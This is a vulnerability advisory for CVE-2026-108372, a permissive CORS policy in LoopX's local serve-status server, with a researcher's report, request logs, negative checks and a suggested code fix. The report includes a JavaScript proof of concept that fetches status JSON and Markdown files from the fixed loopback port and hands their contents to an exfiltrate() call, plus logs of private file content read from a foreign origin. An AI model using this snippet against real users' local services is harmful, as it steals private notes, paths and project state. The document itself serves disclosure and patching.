---
id: "CVE-2026-108372"
kind: "vulnerability"
aliases: ["CVE-2026-108372", "GHSA-vx2m-gpq4-8j5q"]
title: "LoopX serve-status permissive CORS policy exposes control-plane state and private Markdown files"
severity: "high"
cvss: 7.1
epss: 0.0022299999836832285
exploited: false
status: "open"
category: "ai-tooling"
products: [{"name": "loopx", "fixed": ["0.4.5"], "affected": ">= 0.0.1, < 0.4.5", "ecosystem": "pypi"}]
ecosystems: ["pypi"]
tags: ["ai-tooling", "cwe-346", "cwe-942", "local-dev", "loopx", "macos", "python", "self-hosted"]
not_affected_if: ["default-config"]
published_at: "2026-10-16T22:17:14+00:00"
first_seen_at: "2026-10-23T19:11:32+00:00"
updated_at: "2026-10-23T21:57:14+00:00"
sources: [{"source": "ghsa", "url": "https://github.com/advisories/GHSA-vx2m-gpq4-8j5q", "first_seen_at": "2026-10-23T19:11:32+00:00"}, {"source": "nvd", "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-108372", "first_seen_at": "2026-10-23T21:57:14+00:00"}]
---

# LoopX serve-status permissive CORS policy exposes control-plane state and private Markdown files

LoopX's serve-status HTTP server sends Access-Control-Allow-Origin: * on every response, so any website the operator visits can read LoopX status JSON and the contents of Markdown files in registered goal repos without credentials. Write endpoints are origin-checked and are not affected by this report.

_Summary, check and fix written by a model from the sources; labelled as such._

## Affected

- pypi:loopx affected >= 0.0.1, < 0.4.5 fixed 0.4.5

## How to check

Run loopx serve-status (or check for the LaunchAgent from scripts/macos-dashboard-launchagent.sh on 8765/8766) and send a request with Origin: https://evil.example to /status.json; an Access-Control-Allow-Origin: * header in the response means exposed.

## Fix

Upgrade the loopx PyPI package to 0.4.5 or later.
Until then, stop serve-status and the LaunchAgent that runs it.

## Timeline

- 2026-10-23T19:11:32+00:00 ghsa https://github.com/advisories/GHSA-vx2m-gpq4-8j5q
- 2026-10-23T21:57:14+00:00 nvd https://nvd.nist.gov/vuln/detail/CVE-2026-108372

## From the sources

## Summary

`loopx serve-status` sends `Access-Control-Allow-Origin: *` on **every** response,
including its unauthenticated `GET` routes. Because the endpoint is unauthenticated and
bound to a fixed, well-known loopback port, **any website the operator visits can read
LoopX control-plane state and the contents of Markdown files inside every registered goal
repo**, using a plain `fetch()` with no user interaction.

The write endpoints are *not* affected — they are correctly Origin-checked. This report is
strictly about the **read** paths.

## Impact

While `loopx serve-status` is running, a page on any origin can run:

```js
// no interaction, no preflight, no credentials needed
const s = await (await fetch('http://127.0.0.1:8766/status.json')).json();
for (const g of s.goals ?? []) {
  const m = await (await fetch(
    `http://127.0.0.1:8766/review-material?goal_id=${g.id}&path=design-notes.md`
  )).json();
  exfiltrate(m.content);
}
```

and read back:

* **`GET /status.json`** — the whole status projection: goal ids, run history, and local
  absolute paths (`registry`, `runtime_root`). With `--global-registry` this covers
  **every project registered on the machine**, not just one.
* **`GET /review-material?goal_id=…&path=…`** — the *content* of any `.md`/`.markdown`
  file under a goal's repo root, state dir, or runtime dir. In practice that is the
  operator's private design notes, handoff docs, and evidence write-ups.
* **`GET /`** — endpoint discovery, including which write APIs are enabled.
* **`POST /control-plane/configure-goal/dry-run`** — this route has **no Origin check at
  all**, and `do_OPTIONS` returns `Access-Control-Allow-Headers: Content-Type`, so a
  cross-origin JSON POST passes preflight. The response leaks the `before`/`after`
  control-plane configuration for a goal. (It does not write — I verified `written=false`.)

`docs/public-private-boundary.md` classifies "local absolute paths", "task ids", "raw logs
and metrics" and "active goal state that reveals current user context" as material that
must stay private. All of it is currently readable by any origin.

Two things make this more than theoretical:

1. **Fixed default ports.** `8765` (project) and `8766` (global) are hardcoded defaults, so
   an attacker page can simply try both — no discovery step needed.
2. **It is documented as a persistent service.** `docs/guides/getting-started.md` documents
   `loopx serve-status`, and `scripts/macos-dashboard-launchagent.sh` installs a LaunchAgent
   that keeps `serve-status --global-registry --port 8766` running **after every login**. For
   anyone following that guide, this is an always-on, machine-wide read surface.

I have graded this **High** on the basis of zero-interaction exfiltration of private local
material from a persistent service. It is read-only and scope-limited, so if you read the
exposure as lower I would not argue the point — you know your users' setups better than I do.

## Location

`loopx/status_server.py:136-146` — `StatusRequestHandler._send_json()`:

```python
def _send_json(self, payload: dict[str, Any], *, status: int = 200) -> None:
    ...
    self.send_header("Access-Control-Allow-Origin", "*")   # <-- line 142
```

`_send_json` is the single response path for *all* routes, so the wildcard is applied to
`/status.json`, `/review-material`, `/healthz`, `/` and the dry-run POSTs alike.
`do_OPTIONS` (`:148-153`) repeats it.

Confirmed present at `main` HEAD (`b0c8e315`, blob `c9e53d1a`) at the time of writing.

## What is NOT affected (I checked, so you don't have to)

I tried to refute this before reporting. These controls all hold:

* **Writes are properly defended.** With `--enable-reward-write-api` and
  `--enable-control-plane-write-api` both on, `POST /reward/append` and
  `POST /control-plane/configure-goal/apply` return **403 "only accepts loopback browser
  origins"** for a foreign `Origin`. `is_loopback_origin()` does its job. There is no
  cross-origin write, and DNS rebinding does not defeat it either (the rebound page still
  carries its own non-loopback origin).
* **No path traversal.** `../../../../etc/hostname` → 400; an absolute `.md` outside the
  goal roots → 400 ("outside the goal repo/state/runtime roots"). `path_is_under()` is
  correct.
* **Extension allowlist holds.** `secrets.env` inside the repo → 400. Only `.md`/`.markdown`
  can be read.
* **Dry-run does not write.** `configure_goal_with_global_sync(execute=False)` returns
  before any write; I observed `written=false`.

So the exposure is confined to: status JSON + Markdown under registered goal roots. That is
still private material, but it is not arbitrary file read and it is not remote code
execution.

## Proof of concept

Run against an unmodified clone at HEAD, **default flags** (no write APIs enabled):

```
GET /healthz                 Origin: https://evil.example  -> 200  ACAO: '*'
GET /                        Origin: https://evil.example  -> 200  ACAO: '*'
GET /status.json             Origin: https://evil.example  -> 200  ACAO: '*'
GET /review-material?goal_id=victim-goal&path=internal-design-notes.md
                             Origin: https://evil.example  -> 200  ACAO: '*'
   content: "# Internal notes\n\nPROD_DB_HOST=db.internal.corp\nCONFIDENTIAL: ..."
```

The file content came back verbatim to a foreign origin. Matched controls from the same
harness, with **both write flags enabled** (i.e. the configuration most favourable to the
current design):

```
POST /reward/append                        Origin: https://evil.example -> 403 (origin check)
POST /control-plane/configure-goal/apply   Origin: https://evil.example -> 403 (origin check)
GET  /review-material  ../../../../etc/hostname                        -> 400 (traversal blocked)
GET  /review-material  <abs path outside roots>.md                     -> 400 (root check)
GET  /review-material  secrets.env                                     -> 400 (extension check)
GET  /status.json                          Origin: https://evil.example -> 200 ACAO '*'  <-- still readable
```

I am happy to send the exact harness script if it is useful; it is ~120 lines of stdlib
Python and touches no file in the repo.

## Suggested fix

You already have the right predicate in this file — `is_loopback_origin()`. The minimal fix
is to stop emitting the wildcard and instead echo the request origin only when it passes
that check:

```python
def _send_json(self, payload: dict[str, Any], *, status: int = 200) -> None:
    body = json.dumps(payload, ensure_ascii=False, indent=2).encode("utf-8")
    self.send_response(status)
    self.send_header("Content-Type", "application/json; charset=utf-8")
    self.send_header("Content-Length", str(len(body)))
    self.send_header("Cache-Control", "no-store")
    origin = self.headers.get("Origin")
    if origin and is_loopback_origin(origin):
        self.send_header("Access-Control-Allow-Origin", origin)
        self.send_header("Vary", "Origin")
    # no Origin header (curl, the CLI, a same-origin fetch) -> send no ACAO at all
    self.end_headers()
    self.wfile.write(body)
```

and the same in `do_OPTIONS`. This keeps the dashboard working — it is served from
`http://127.0.0.1:5174` and fetches `127.0.0.1:8765/8766`, which is cross-origin between two
loopback ports, which I assume is exactly why the wildcard was added — while denying every
non-loopback origin.

Two optional hardening steps, if you want them:

* Apply the existing `is_loopback_origin()` check to `POST /control-plane/configure-goal/dry-run`
  and `POST /reward/dry-run` too, so the config projection is not readable cross-origin.
* Add a `Host` header check (reject a `Host` that is not loopback) to close DNS rebinding
  against clients that do not send `Origin`.

## Scope of review

Reviewed 26/52 identified entrypoints across 758 files (360,618 LOC) of the `loopx` package
and dashboard; tools: semgrep 1.172.0, trufflehog 3.96.0, osv-scanner 2.4.0, plus a manual
dataflow pass. 

---

_Free to read at a human pace. An API with keys and an MCP server are in preparation; early access: hello@infrastack.ai_
